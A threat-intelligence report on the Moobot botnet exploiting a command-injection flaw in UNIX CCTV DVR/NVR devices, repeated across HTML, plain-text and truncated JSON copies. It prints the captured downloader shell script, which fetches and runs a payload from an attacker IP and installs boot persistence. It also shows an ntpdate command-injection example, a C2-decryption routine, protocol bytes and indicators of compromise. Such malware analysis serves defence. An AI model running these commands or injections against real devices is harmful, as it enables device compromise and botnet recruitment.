MooBot on the run using another 0 day targeting UNIX CCTV DVR
<!--kg-card-begin: markdown--><p>This report is jointly issued by CNCERT and Qihoo 360</p>
<h1 id="overview">Overview</h1>
<p>Moobot is a botnet we first reported in September 2019<a href="__GHOST_URL__/the-botnet-cluster-on-185-244-25-0-24-en/">[1]</a>. It has been pretty active since its appearance and we reported before it has the ability to exploit 0day vulnerabilities<a href="__GHOST_URL__/ddos-botnet-moobot-en/">[2]</a><a href="__GHOST_URL__/multiple-botnets-are-spreading-using-lilin-dvr-0-day-en/">[3]</a> .</p>
<p>In Jun, we were able to confirm that another 0day had been used by Moobot targeting UNIX CCTV DVR/NVR devices(see below for device list). We notified the manufacture and patch has been issued<a href="http://download.eyemaxdvr.com/TVST%20PVT%205N-SERIES/Patch/">[ALL265 unix 2.3.7.8B09]</a><a href="http://download.eyemaxdvr.com/NVST%20IL&amp;IP%20SERIES/Firmware_/Patch/">[NVR unix 2.3.7.8B05]</a><a href="http://download.eyemaxdvr.com/TVST%20PVT-N%20&amp;%204M%20SERIES/Firmware/Patch/">[ALL unixip 2.3.4.8B06]</a>.</p>
<h1 id="timeline">Timeline</h1>
<ul>
<li>2020-06-09 We saw the scans targeting the vulnerability</li>
<li>2020-06-24 A Moobot sample spread by exploiting this vulnerability was captured by us</li>
<li>2020-08-24 Manufacturers released patches</li>
</ul>
<h1 id="vulnerabilityexploitationprocess">Vulnerability exploitation process</h1>
<p>Moobot scans port 8000 through Loader, after locating the right target device, Moobot samples will be dropped via the vulnerabilities.</p>
<h1 id="vulnerabilityanalysis">Vulnerability analysis</h1>
<h4 id="vulnerabilitytype">Vulnerability type</h4>
<p>Remote command injection vulnerability</p>
<h4 id="vulnerabilitydetails">Vulnerability details</h4>
<p>On the vulnerable devices, a <code>gui</code> process runs and listens to port 8000. According to the device manual, we know that this port is the default listening port for DVR Watch, Search, and Setup functions.<br>
<img src="__GHOST_URL__/content/images/2020/09/Snip20200928_4-1.png" alt="Snip20200928_4-1" loading="lazy"></p>
<p>The port has the function of remotely updating the system time, which is actually implemented by the <code>gui</code> process calling system commands <code>nptdate</code>. This is where the problem is. When the <code>gui</code> program executes the <code>ntpdate</code> command, the NTP server parameters are not checked, resulting in a command injection vulnerability.</p>
<p>For example, the command ( <code>ntpdate -d -t 1 time.nist.gov&amp; whoami</code>) will lead the execution of <code>whoami</code> command. Part of the payload is as follows, we will not share more details or PoC here due to security concern.</p>
<p><img src="__GHOST_URL__/content/images/2020/08/Snip20200820_8-1.png" alt="Snip20200820_8-1" loading="lazy"></p>
<h1 id="affectedequipmentanalysis">Affected equipment analysis</h1>
<p>By scanning the 8000 ports of the entire network, we found about 6k online devices. Most of the equipment is in the United States.</p>
<h4 id="geographicaldistributionofaffectedequipment">Geographical distribution of affected equipment</h4>
<pre><code>   4529 United_States
    789 Republic_of_Korea
     84 Canada
     73 Japan
     66 Netherlands
     56 Australia
     55 Germany
     31 United_Kingdom
     23 Viet_Nam
     19 Malaysia
     15 Saudi_Arabia
     15 Czech
     14 Switzerland
     11 China
</code></pre>
<h4 id="knownaffecteddevices">Known affected devices:</h4>
<pre><code>     51 PVT-N5UNIXDVR 1
     28 PVT-8MUNIXDVR 1
     28 NVST-ILUNIXDVR 1
     25 NVST-ILUNIXNVR 1
     22 Magic-U-8M5UNIXDVR 1
     14 NVST-IPUNIXNVR 1
     13 NVST-IPUNIXDVR 1
      9 Magic-T-8M5UNIXDVR 1
      9 HD-Analog3RDVR 1
      6 Magic-QXUNIXDVR 1
      2 Magic-U-8M5UNIXDVR 2
      1 PVT-8MUNIXDVR
      1 NVR3RGPardisNVR
      1 Magic-U-8M5UNIXBoca DVR
      1 MER-28N16ENEODVR 1
      1 MER-28N08ENEODVR 1
</code></pre>
<h1 id="sampleanalysis">Sample analysis</h1>
<blockquote>
<p>Verdict:Downloader</p>
<p>MD5:af3720d0141d246bd3ede434f7a14dcb</p>
<p>ASCII text, with CRLF line terminators</p>
</blockquote>
<p><code>af3720d0141d246bd3ede434f7a14dcb</code> It is a download script, the content is as follows：</p>
<pre><code class="language-shell">s=o;cd /cmslite;wget http://205.185.116.68/boot -O-|gzip -d &gt; .&quot;$s&quot;;chmod +x .&quot;$s&quot;;./.&quot;$s&quot; balloon;
echo -e &quot;echo \&quot;Starting logging\&quot;\nklogd\nsyslogd -O /dvr/message -s 4000\n/cmslite/.o balloon;&quot; &gt; /etc/init.d/S11log

</code></pre>
<p>It can be seen that the main function of Downloader is</p>
<ul>
<li>Download Moobot sample</li>
<li>Achieve persistence</li>
</ul>
<p>It is worth mentioning that the downloaded Moobot samples are compressed, which to some extent affect the security products' detection of samples at the network traffic level.</p>
<blockquote>
<p>Verdict:Moobot_leet</p>
<p>MD5:fb96c74e0548bd41621ea0dd98e8b2bb</p>
<p>ELF 32-bit LSB executable, ARM, version 1 (ARM), statically linked, stripped</p>
<p>Packer:No</p>
<p>Lib:uclibc</p>
</blockquote>
<p><code>fb96c74e0548bd41621ea0dd98e8b2bb</code> It is a Moobot variant, based on the reuse of LeetHozer's encryption method, we call it Moobot_leet. Moobot_leet is very similar to Mirai at the host behavior level and has no real highlights, so in this blog we will just talk about its encryption method and communication protocol, we see the sample uses Tor Proxy, and a large number of proxy nodes are embedded, and Tor-C2 is encrypted.</p>
<h3 id="encryptionmethod">Encryption method</h3>
<p>Moobot_leet divides Tor-C2 into two parts: <code>prefix (16 bytes)</code> and <code>suffix (7 bytes)</code>, which exist in different positions of the sample. LeetHozer's encryption method is being adopted, and the correct Tor-C2 can only be decrypted by combining the two parts.</p>
<p><a href="__GHOST_URL__/content/images/2020/08/mooleet_torpart-1.PNG"><img src="__GHOST_URL__/content/images/2020/08/mooleet_torpart-1.PNG" class="kg-image"/></a></p>
<p>The decryption method is as follows:</p>
<pre><code>xorkey=&quot;qE6MGAbI&quot;

def decode_str(ctxt):
    for i in range(0,len(xorkey)):
        plain=&quot;&quot;
        size=len(ctxt)    
        for idx in range(0, size):
            ch=ord(ctxt[idx]) 
            ch ^=(ord(xorkey[i]) + idx )
            plain += chr(ch)
        ctxt=plain
    return ctxt   
    
</code></pre>
<p>Take prefix( <code>0D 02 50 08 10 18 12 06 17 17 61 77 7A 79 6A 97</code>) and suffix( <code>CC 81 88 BB BD B8 DE</code>) as examples, splicing to get ciphertext( <code>0D 02 50 08 10 18 12 06 17 17 61 77 7A 79 6A 97 CC 81 88 BB BD B8 DE</code>), decryption can get Tor-C2 as <code>ol6zbnlduigehodu.onion</code>.</p>
<p>The strange thing is that from the code level ( <code>random mod 7</code>), it can be seen that there should be 7 Tor-C2, but there are only 3 in the actual sample, which will cause the bot to access the non legit Tor-C2. We guess it may be a method used to disrupt security researchers &amp; to throw false negative to the sandbox IOC automatic extraction system.</p>
<p><a href="__GHOST_URL__/content/images/2020/08/mooleet_illegal.PNG"><img src="__GHOST_URL__/content/images/2020/08/mooleet_illegal.PNG" class="kg-image"/></a></p>
<h3 id="communicationprotocol">Communication protocol</h3>
<p>An overview of Moobot_leet network traffic is as follows</p>
<p><a href="__GHOST_URL__/content/images/2020/08/mooleet_view.PNG"><img src="__GHOST_URL__/content/images/2020/08/mooleet_view.PNG" class="kg-image"/></a><br>
First, establish a connection with the built-in proxy node of the sample, then establish a connection with Tor-C2, and finally use the normal Moobot communication protocol to notify C2 it is alive and can receive the attack command issued by C2.</p>
<h4 id="1establishaconnectionwiththeproxytheportis9050">1. Establish a connection with the proxy, the port is 9050</h4>
<p><a href="__GHOST_URL__/content/images/2020/08/mooleet_proxy-1.PNG"><img src="__GHOST_URL__/content/images/2020/08/mooleet_proxy-1.PNG" class="kg-image"/></a><br>
The list of hardcode proxy nodes in the sample is as follows:</p>
<pre><code>1.26.150.133
104.45.52.37
107.21.38.230
12.11.175.187
128.199.45.26
13.50.100.110
136.243.69.28
138.68.107.137
158.69.33.149
165.22.117.234
173.212.249.65
185.242.114.206
193.29.187.226
193.70.77.132
20.188.45.175
3.8.5.177
31.6.69.162
35.153.180.187
35.158.231.234
4.21.119.186
45.137.22.80
45.14.148.239
46.101.216.75
5.138.113.101
5.252.225.249
51.11.247.88
51.15.239.174
51.75.144.59
51.77.148.172
62.149.14.80
79.130.136.67
80.241.212.116
82.146.61.193
82.230.81.131
86.177.24.148
89.163.146.187
89.217.41.145
9.43.47.135
9.43.47.39
90.93.30.29
91.228.218.66
92.222.76.104
92.29.22.186
93.104.211.123
94.100.28.172
</code></pre>
<h4 id="2establishaconnectionwithc2throughtorproxyprotocol">2. Establish a connection with C2 through Tor-Proxy protocol</h4>
<p><a href="__GHOST_URL__/content/images/2020/08/mooleet_torcc.PNG"><img src="__GHOST_URL__/content/images/2020/08/mooleet_torcc.PNG" class="kg-image"/></a></p>
<p>The sample hardcode Tor-C2 list is as follows:</p>
<pre><code>ol6zbnlduigehodu.onion：1900
uajl7qmdquxaramd.onion：554
nhez3ihtwxwthjkm.onion：21
</code></pre>
<h4 id="3communicatewithc2throughthemoobotprotocolthespecificgoliveheartbeatandattackpacketareasfollows">3. Communicate with C2 through the Moobot protocol, the specific go live, heartbeat, and attack packet are as follows</h4>
<ul>
<li>
<p>Register package</p>
<p><a href="__GHOST_URL__/content/images/2020/08/mooleet_reg.PNG"><img src="__GHOST_URL__/content/images/2020/08/mooleet_reg.PNG" class="kg-image"/></a></p>
</li>
</ul>
<pre><code>     msg parsing
     ----------------------------------------------------------------
     33 66 99 					-----&gt; hardcoded magic
     07							-----&gt; group string length
     62 61 6c 6c 6f 6f 6e			-----&gt; group string,here it is &quot;balloon&quot;
</code></pre>
<ul>
<li>Heartbeat package<br>
<a href="__GHOST_URL__/content/images/2020/08/mooleet_rand.PNG"><img src="__GHOST_URL__/content/images/2020/08/mooleet_rand.PNG" class="kg-image"/></a></li>
</ul>
<pre><code>     msg parsing
     ----------------------------------------------------------------
     c7 15 3a fa 					-----&gt; random 4 bytes msg from bot
     c7 15 3a fa						-----&gt; 4 bytes msg from c2	
</code></pre>
<ul>
<li>The attack command is similar to mirai</li>
</ul>
<pre><code>00000000: 01 00 00 00 3C 01 C2 0F  92 0C 20 02 01 00 05 32  ....&lt;..... ....2
00000010: 38 30 31 35 02 00 04 31  34 36 30 02 1C           8015...1460..
</code></pre>
<h1 id="moobotddoscampaign">Moobot DDoS campaign</h1>
<p>Moobot's DDoS attacks are active all year round, and our previous article also introduced Moobot's attacks <a href="__GHOST_URL__/moobot/">[1]</a> . Here are the DDoS targets launched by Moobot.(we noticed <code>electrum.hodlister.co</code> has been attacked from this Moobot nonstop for a few months now)</p>
<p><a href="__GHOST_URL__/content/images/2020/09/Snip20200929_7.png"><img src="__GHOST_URL__/content/images/2020/09/Snip20200929_7.m.png" class="kg-image"/></a></p>
<h1 id="contactus">Contact us</h1>
<p>Readers are always welcomed to reach us on <a href="https://twitter.com/360Netlab">twitter</a> or email us to netlab at 360 dot cn.</p>
<h1 id="ioc">IoC</h1>
<h4 id="torc2">Tor-C2</h4>
<pre><code>djq6cvwigo7l7q62.onion:194
dl3ochoifo77lsak.onion:1553
krjn77m6demafp77.onion:6969
mvo4y3vr7xuxhwcf.onion:21
nhez3ihtwxwthjkm.onion:21
ol6zbnlduigehodu.onion:1900
stmptmmm27tco3oh.onion:115
tto6kqp6nsto5din.onion:17
uajl7qmdquxaramd.onion:554
wsvo6jwd3spsb4us.onion:1900
</code></pre>
<h4 id="samplemd5">Sample MD5</h4>
<pre><code>022081bc7f49b4aa5c4b36982390cd97
05764c4d5ec37575d5fd3efe95cf3458
260bda811c00dac88b4f5a35e9939760
30416eae1f1922b28d93be8078b25ba0
348acf45ccb313f6c5d34ca5f68f5e13
3e9ae33e0d5c36f7cd5f576233d83f26
4d785886039cbca5372068377f72da43
565c0456c7fbb393ec483c648155b119
655b56b345799f99b614e23128942b92
7735289d33d14644fea27add188093ea
7988a73a4b5ccb7ca9b98dc633b8c0c6
b2c66c2831173b1117467fdabc78241e
bb27f755238528fc3c6386287a5c74a7
bff215a95f088672ad13933a1de70861
cb428a513275b5e969353596deb7383d
cf3602498c49caa902d87579fd420098
e24dc070a4d90a7b01389de9f2805b2b
fe0488ec71ee04ddb47792cae199595b
</code></pre>
<h4 id="downloaderurl">Downloader URL</h4>
<pre><code>http[://104.244.78.131/boot
http[://104.244.78.131/fre
http[://107.189.10.28/boot
http[://107.189.10.28/fre
http[://141.164.63.40/boot
http[://141.164.63.40/fre
http[://172.104.105.205/boot
http[://185.216.140.70/fre
http[://185.216.140.70/t
http[://185.39.11.84/fre
http[://89.248.174.166/t
http[://92.223.73.55/fre
http[://ape.run/dtf/b
http[://ape.run/fre
http[://c.uglykr.xyz/fre
http[://kreb.xyz/fre
http[://osrq.xyz/dtf/b
http[://osrq.xyz/fre
</code></pre>
<h4 id="scannerip">Scanner IP</h4>
<pre><code>176.126.175.10	AS47540|EURODC-AS	                Romania|Romania|Unknown
176.126.175.8	AS47540|EURODC-AS	                Romania|Romania|Unknown
185.107.80.202	AS43350|NForce_Entertainment_B.V.	Netherlands|North_Brabant|Steenbergen
185.107.80.203	AS43350|NForce_Entertainment_B.V.	Netherlands|North_Brabant|Steenbergen
185.107.80.34	AS43350|NForce_Entertainment_B.V.	Netherlands|North_Brabant|Steenbergen
185.107.80.62	AS43350|NForce_Entertainment_B.V.	Netherlands|North_Brabant|Steenbergen
185.39.11.84	AS62355|Network_Dedicated_SAS       Netherlands|North_Holland|Wormer
212.224.124.178	AS44066|First_Colo_GmbH	            Germany|Hesse|Frankfurt
89.248.174.165	AS202425|IP_Volume_inc	            Netherlands|North_Holland|Wormer
89.248.174.166	AS202425|IP_Volume_inc	            Netherlands|North_Holland|Wormer
89.248.174.203	AS202425|IP_Volume_inc	            Netherlands|North_Holland|Wormer
92.223.73.136	AS199524|G-Core_Labs_S.A.	        Republic_of_Korea|Seoul|Unknown
92.223.73.54	AS199524|G-Core_Labs_S.A.	        Republic_of_Korea|Seoul|Unknown
92.223.73.55	AS199524|G-Core_Labs_S.A.	        Republic_of_Korea|Seoul|Unknown
92.223.73.72	AS199524|G-Core_Labs_S.A.	        Republic_of_Korea|Seoul|Unknown
</code></pre>
<!--kg-card-end: markdown-->
This report is jointly issued by CNCERT and Qihoo 360



Overview


Moobot is a botnet we first reported in September 2019[1]. It has been pretty active since its appearance and we reported before it has the ability to exploit 0day vulnerabilities[2][3] .


In Jun, we were able to confirm that another 0day had been used by Moobot targeting UNIX CCTV DVR/NVR devices(see below for device list). We notified the manufacture and patch has been issued[ALL265 unix 2.3.7.8B09][NVR unix 2.3.7.8B05][ALL unixip 2.3.4.8B06].



Timeline


 * 2020-06-09 We saw the scans targeting the vulnerability
 * 2020-06-24 A Moobot sample spread by exploiting this vulnerability was captured by us
 * 2020-08-24 Manufacturers released patches



Vulnerability exploitation process


Moobot scans port 8000 through Loader, after locating the right target device, Moobot samples will be dropped via the vulnerabilities.



Vulnerability analysis


Vulnerability type


Remote command injection vulnerability


Vulnerability details


On the vulnerable devices, a gui process runs and listens to port 8000. According to the device manual, we know that this port is the default listening port for DVR Watch, Search, and Setup functions.




The port has the function of remotely updating the system time, which is actually implemented by the gui process calling system commands nptdate. This is where the problem is. When the gui program executes the ntpdate command, the NTP server parameters are not checked, resulting in a command injection vulnerability.


For example, the command ( ntpdate -d -t 1 time.nist.gov& whoami) will lead the execution of whoami command. Part of the payload is as follows, we will not share more details or PoC here due to security concern.






Affected equipment analysis


By scanning the 8000 ports of the entire network, we found about 6k online devices. Most of the equipment is in the United States.


Geographical distribution of affected equipment


   4529 United_States
    789 Republic_of_Korea
     84 Canada
     73 Japan
     66 Netherlands
     56 Australia
     55 Germany
     31 United_Kingdom
     23 Viet_Nam
     19 Malaysia
     15 Saudi_Arabia
     15 Czech
     14 Switzerland
     11 China



Known affected devices:


     51 PVT-N5UNIXDVR 1
     28 PVT-8MUNIXDVR 1
     28 NVST-ILUNIXDVR 1
     25 NVST-ILUNIXNVR 1
     22 Magic-U-8M5UNIXDVR 1
     14 NVST-IPUNIXNVR 1
     13 NVST-IPUNIXDVR 1
      9 Magic-T-8M5UNIXDVR 1
      9 HD-Analog3RDVR 1
      6 Magic-QXUNIXDVR 1
      2 Magic-U-8M5UNIXDVR 2
      1 PVT-8MUNIXDVR
      1 NVR3RGPardisNVR
      1 Magic-U-8M5UNIXBoca DVR
      1 MER-28N16ENEODVR 1
      1 MER-28N08ENEODVR 1




Sample analysis





Verdict:Downloader


MD5:af3720d0141d246bd3ede434f7a14dcb


ASCII text, with CRLF line terminators



af3720d0141d246bd3ede434f7a14dcb It is a download script, the content is as follows：


s=o;cd /cmslite;wget http://205.185.116.68/boot -O-|gzip -d > ."$s";chmod +x ."$s";./."$s" balloon;
echo -e "echo \"Starting logging\"\nklogd\nsyslogd -O /dvr/message -s 4000\n/cmslite/.o balloon;" > /etc/init.d/S11log




It can be seen that the main function of Downloader is


 * Download Moobot sample
 * Achieve persistence


It is worth mentioning that the downloaded Moobot samples are compressed, which to some extent affect the security products' detection of samples at the network traffic level.





Verdict:Moobot_leet


MD5:fb96c74e0548bd41621ea0dd98e8b2bb


ELF 32-bit LSB executable, ARM, version 1 (ARM), statically linked, stripped


Packer:No


Lib:uclibc



fb96c74e0548bd41621ea0dd98e8b2bb It is a Moobot variant, based on the reuse of LeetHozer's encryption method, we call it Moobot_leet. Moobot_leet is very similar to Mirai at the host behavior level and has no real highlights, so in this blog we will just talk about its encryption method and communication protocol, we see the sample uses Tor Proxy, and a large number of proxy nodes are embedded, and Tor-C2 is encrypted.



Encryption method


Moobot_leet divides Tor-C2 into two parts: prefix (16 bytes) and suffix (7 bytes), which exist in different positions of the sample. LeetHozer's encryption method is being adopted, and the correct Tor-C2 can only be decrypted by combining the two parts.





The decryption method is as follows:


xorkey="qE6MGAbI"

def decode_str(ctxt):
    for i in range(0,len(xorkey)):
        plain=""
        size=len(ctxt)    
        for idx in range(0, size):
            ch=ord(ctxt[idx]) 
            ch ^=(ord(xorkey[i]) + idx )
            plain += chr(ch)
        ctxt=plain
    return ctxt   
    



Take prefix( 0D 02 50 08 10 18 12 06 17 17 61 77 7A 79 6A 97) and suffix( CC 81 88 BB BD B8 DE) as examples, splicing to get ciphertext( 0D 02 50 08 10 18 12 06 17 17 61 77 7A 79 6A 97 CC 81 88 BB BD B8 DE), decryption can get Tor-C2 as ol6zbnlduigehodu.onion.


The strange thing is that from the code level ( random mod 7), it can be seen that there should be 7 Tor-C2, but there are only 3 in the actual sample, which will cause the bot to access the non legit Tor-C2. We guess it may be a method used to disrupt security researchers & to throw false negative to the sandbox IOC automatic extraction system.






Communication protocol


An overview of Moobot_leet network traffic is as follows




First, establish a connection with the built-in proxy node of the sample, then establish a connection with Tor-C2, and finally use the normal Moobot communication protocol to notify C2 it is alive and can receive the attack command issued by C2.


1. Establish a connection with the proxy, the port is 9050




The list of hardcode proxy nodes in the sample is as follows:


1.26.150.133
104.45.52.37
107.21.38.230
12.11.175.187
128.199.45.26
13.50.100.110
136.243.69.28
138.68.107.137
158.69.33.149
165.22.117.234
173.212.249.65
185.242.114.206
193.29.187.226
193.70.77.132
20.188.45.175
3.8.5.177
31.6.69.162
35.153.180.187
35.158.231.234
4.21.119.186
45.137.22.80
45.14.148.239
46.101.216.75
5.138.113.101
5.252.225.249
51.11.247.88
51.15.239.174
51.75.144.59
51.77.148.172
62.149.14.80
79.130.136.67
80.241.212.116
82.146.61.193
82.230.81.131
86.177.24.148
89.163.146.187
89.217.41.145
9.43.47.135
9.43.47.39
90.93.30.29
91.228.218.66
92.222.76.104
92.29.22.186
93.104.211.123
94.100.28.172



2. Establish a connection with C2 through Tor-Proxy protocol





The sample hardcode Tor-C2 list is as follows:


ol6zbnlduigehodu.onion：1900
uajl7qmdquxaramd.onion：554
nhez3ihtwxwthjkm.onion：21



3. Communicate with C2 through the Moobot protocol, the specific go live, heartbeat, and attack packet are as follows


 * 
   
   
   Register package
   
   
   
   


     msg parsing
     ----------------------------------------------------------------
     33 66 99 					-----> hardcoded magic
     07							-----> group string length
     62 61 6c 6c 6f 6f 6e			-----> group string,here it is "balloon"



 * Heartbeat package
   
   


     msg parsing
     ----------------------------------------------------------------
     c7 15 3a fa 					-----> random 4 bytes msg from bot
     c7 15 3a fa						-----> 4 bytes msg from c2	



 * The attack command is similar to mirai


00000000: 01 00 00 00 3C 01 C2 0F  92 0C 20 02 01 00 05 32  ....<..... ....2
00000010: 38 30 31 35 02 00 04 31  34 36 30 02 1C           8015...1460..




Moobot DDoS campaign


Moobot's DDoS attacks are active all year round, and our previous article also introduced Moobot's attacks [1] . Here are the DDoS targets launched by Moobot.(we noticed electrum.hodlister.co has been attacked from this Moobot nonstop for a few months now)






Contact us


Readers are always welcomed to reach us on twitter or email us to netlab at 360 dot cn.



IoC


Tor-C2


djq6cvwigo7l7q62.onion:194
dl3ochoifo77lsak.onion:1553
krjn77m6demafp77.onion:6969
mvo4y3vr7xuxhwcf.onion:21
nhez3ihtwxwthjkm.onion:21
ol6zbnlduigehodu.onion:1900
stmptmmm27tco3oh.onion:115
tto6kqp6nsto5din.onion:17
uajl7qmdquxaramd.onion:554
wsvo6jwd3spsb4us.onion:1900



Sample MD5


022081bc7f49b4aa5c4b36982390cd97
05764c4d5ec37575d5fd3efe95cf3458
260bda811c00dac88b4f5a35e9939760
30416eae1f1922b28d93be8078b25ba0
348acf45ccb313f6c5d34ca5f68f5e13
3e9ae33e0d5c36f7cd5f576233d83f26
4d785886039cbca5372068377f72da43
565c0456c7fbb393ec483c648155b119
655b56b345799f99b614e23128942b92
7735289d33d14644fea27add188093ea
7988a73a4b5ccb7ca9b98dc633b8c0c6
b2c66c2831173b1117467fdabc78241e
bb27f755238528fc3c6386287a5c74a7
bff215a95f088672ad13933a1de70861
cb428a513275b5e969353596deb7383d
cf3602498c49caa902d87579fd420098
e24dc070a4d90a7b01389de9f2805b2b
fe0488ec71ee04ddb47792cae199595b



Downloader URL


http[://104.244.78.131/boot
http[://104.244.78.131/fre
http[://107.189.10.28/boot
http[://107.189.10.28/fre
http[://141.164.63.40/boot
http[://141.164.63.40/fre
http[://172.104.105.205/boot
http[://185.216.140.70/fre
http[://185.216.140.70/t
http[://185.39.11.84/fre
http[://89.248.174.166/t
http[://92.223.73.55/fre
http[://ape.run/dtf/b
http[://ape.run/fre
http[://c.uglykr.xyz/fre
http[://kreb.xyz/fre
http[://osrq.xyz/dtf/b
http[://osrq.xyz/fre



Scanner IP


176.126.175.10	AS47540|EURODC-AS	                Romania|Romania|Unknown
176.126.175.8	AS47540|EURODC-AS	                Romania|Romania|Unknown
185.107.80.202	AS43350|NForce_Entertainment_B.V.	Netherlands|North_Brabant|Steenbergen
185.107.80.203	AS43350|NForce_Entertainment_B.V.	Netherlands|North_Brabant|Steenbergen
185.107.80.34	AS43350|NForce_Entertainment_B.V.	Netherlands|North_Brabant|Steenbergen
185.107.80.62	AS43350|NForce_Entertainment_B.V.	Netherlands|North_Brabant|Steenbergen
185.39.11.84	AS62355|Network_Dedicated_SAS       Netherlands|North_Holland|Wormer
212.224.124.178	AS44066|First_Colo_GmbH	            Germany|Hesse|Frankfurt
89.248.174.165	AS202425|IP_Volume_inc	            Netherlands|North_Holland|Wormer
89.248.174.166	AS202425|IP_Volume_inc	            Netherlands|North_Holland|Wormer
89.248.174.203	AS202425|IP_Volume_inc	            Netherlands|North_Holland|Wormer
92.223.73.136	AS199524|G-Core_Labs_S.A.	        Republic_of_Korea|Seoul|Unknown
92.223.73.54	AS199524|G-Core_Labs_S.A.	        Republic_of_Korea|Seoul|Unknown
92.223.73.55	AS199524|G-Core_Labs_S.A.	        Republic_of_Korea|Seoul|Unknown
92.223.73.72	AS199524|G-Core_Labs_S.A.	        Republic_of_Korea|Seoul|Unknown


{"version":"0.3.1","atoms":[],"cards":[["markdown",{"markdown":"This report is jointly issued by CNCERT and Qihoo 360\n\n# Overview\nMoobot is a botnet we first reported in September 2019[[1]](__GHOST_URL__/the-botnet-cluster-on-185-244-25-0-24-en/). It has been pretty active since its appearance and we reported before it has the ability to exploit 0day vulnerabilities[[2]](__GHOST_URL__/ddos-botnet-moobot-en/)[[3]](__GHOST_URL__/multiple-botnets-are-spreading-using-lilin-dvr-0-day-en/) . \n\nIn Jun, we were able to confirm that another 0day had been used by Moobot targeting UNIX CCTV DVR/NVR devices(see below for device list). We notified the manufacture and patch has been issued[[ALL265 unix 2.3.7.8B09]](http://download.eyemaxdvr.com/TVST%20PVT%205N-SERIES/Patch/)[[NVR unix 2.3.7.8B05]](http://download.eyemaxdvr.com/NVST%20IL&IP%20SERIES/Firmware_/Patch/)[[ALL unixip 2.3.4.8B06]](http://download.eyemaxdvr.com/TVST%20PVT-N%20&%204M%20SERIES/Firmware/Patch/).\n\n# Timeline\n- 2020-06-09 We saw the scans targeting the vulnerability\n- 2020-06-24 A Moobot sample spread by exploiting this vulnerability was captured by us\n- 2020-08-24 Manufacturers released patches \n\n# Vulnerability exploitation process\n\nMoobot scans port 8000 through Loader, after locating the right target device, Moobot samples will be dropped via the vulnerabilities.\n\n# Vulnerability analysis\n#### Vulnerability type\nRemote command injection vulnerability \n\n#### Vulnerability details\n\nOn the vulnerable devices, a `gui` process runs and listens to port 8000. According to the device manual, we know that this port is the default listening port for DVR Watch, Search, and Setup functions.\n![Snip20200928_4-1](__GHOST_URL__/content/images/2020/09/Snip20200928_4-1.png)\n\nThe port has the function of remotely updating the system time, which is actually implemented by the `gui` process calling system commands `nptdate`. This is where the problem is. When the `gui` program executes the `ntpdate` command, the NTP server parameters are not checked, resulting in a command injection vulnerability. \n\nFor example, the command ( `ntpdate -d -t 1 time.nist.gov& whoami`) will lead the execution of `whoami` command. Part of the payload is as follows, we will not share more details or PoC here due to security concern.\n\n![Snip20200820_8-1](__GHOST_URL__/content/images/2020/08/Snip20200820_8-1.png)\n# Affected equipment analysis\nBy scanning the 8000 ports of the entire network, we found about 6k online devices. Most of the equipment is in the United States.\n\n#### Geographical distribution of affected equipment\n\n```\n   4529 United_States\n    789 Republic_of_Korea\n     84 Canada\n     73 Japan\n     66 Netherlands\n     56 Australia\n     55 Germany\n     31 United_Kingdom\n     23 Viet_Nam\n     19 Malaysia\n     15 Saudi_Arabia\n     15 Czech\n     14 Switzerland\n     11 China\n```\n\n#### Known affected devices:\n\n```\n     51 PVT-N5UNIXDVR 1\n     28 PVT-8MUNIXDVR 1\n     28 NVST-ILUNIXDVR 1\n     25 NVST-ILUNIXNVR 1\n     22 Magic-U-8M5UNIXDVR 1\n     14 NVST-IPUNIXNVR 1\n     13 NVST-IPUNIXDVR 1\n      9 Magic-T-8M5UNIXDVR 1\n      9 HD-Analog3RDVR 1\n      6 Magic-QXUNIXDVR 1\n      2 Magic-U-8M5UNIXDVR 2\n      1 PVT-8MUNIXDVR\n      1 NVR3RGPardisNVR\n      1 Magic-U-8M5UNIXBoca DVR\n      1 MER-28N16ENEODVR 1\n      1 MER-28N08ENEODVR 1\n```\n\n# Sample analysis\n\n> Verdict:Downloader\n>\n> MD5:af3720d0141d246bd3ede434f7a14dcb\n>\n> ASCII text, with CRLF line terminators\n\n```af3720d0141d246bd3ede434f7a14dcb``` It is a download script, the content is as follows：\n\n```shell\ns=o;cd /cmslite;wget http://205.185.116.68/boot -O-|gzip -d > .\"$s\";chmod +x .\"$s\";./.\"$s\" balloon;\necho -e \"echo \\\"Starting logging\\\"\\nklogd\\nsyslogd -O /dvr/message -s 4000\\n/cmslite/.o balloon;\" > /etc/init.d/S11log\n\n```\n\nIt can be seen that the main function of Downloader is\n\n- Download Moobot sample\n- Achieve persistence\n\nIt is worth mentioning that the downloaded Moobot samples are compressed, which to some extent affect the security products' detection of samples at the network traffic level.\n\n> Verdict:Moobot_leet\n>\n> MD5:fb96c74e0548bd41621ea0dd98e8b2bb\n>\n> ELF 32-bit LSB executable, ARM, version 1 (ARM), statically linked, stripped\n>\n> Packer:No\n>\n> Lib:uclibc\n\n```fb96c74e0548bd41621ea0dd98e8b2bb``` It is a Moobot variant, based on the reuse of LeetHozer's encryption method, we call it Moobot_leet. Moobot_leet is very similar to Mirai at the host behavior level and has no real highlights, so in this blog we will just talk about its encryption method and communication protocol, we see the sample uses Tor Proxy, and a large number of proxy nodes are embedded, and Tor-C2 is encrypted.\n\n### Encryption method\n\nMoobot_leet divides Tor-C2 into two parts: `prefix (16 bytes)` and `suffix (7 bytes)`, which exist in different positions of the sample. LeetHozer's encryption method is being adopted, and the correct Tor-C2 can only be decrypted by combining the two parts.\n\n <a href=\"__GHOST_URL__/content/images/2020/08/mooleet_torpart-1.PNG\"><img src=\"__GHOST_URL__/content/images/2020/08/mooleet_torpart-1.PNG\" class=\"kg-image\"/></a>\n\n\nThe decryption method is as follows:\n\n```\nxorkey=\"qE6MGAbI\"\n\ndef decode_str(ctxt):\n    for i in range(0,len(xorkey)):\n        plain=\"\"\n        size=len(ctxt)    \n        for idx in range(0, size):\n            ch=ord(ctxt[idx]) \n            ch ^=(ord(xorkey[i]) + idx )\n            plain += chr(ch)\n        ctxt=plain\n    return ctxt   \n    \n```\n\nTake prefix( `0D 02 50 08 10 18 12 06 17 17 61 77 7A 79 6A 97`) and suffix( `CC 81 88 BB BD B8 DE`) as examples, splicing to get ciphertext( `0D 02 50 08 10 18 12 06 17 17 61 77 7A 79 6A 97 CC 81 88 BB BD B8 DE`), decryption can get Tor-C2 as `ol6zbnlduigehodu.onion`.\n\nThe strange thing is that from the code level ( `random mod 7`), it can be seen that there should be 7 Tor-C2, but there are only 3 in the actual sample, which will cause the bot to access the non legit Tor-C2. We guess it may be a method used to disrupt security researchers & to throw false negative to the sandbox IOC automatic extraction system.\n\n<a href=\"__GHOST_URL__/content/images/2020/08/mooleet_illegal.PNG\"><img 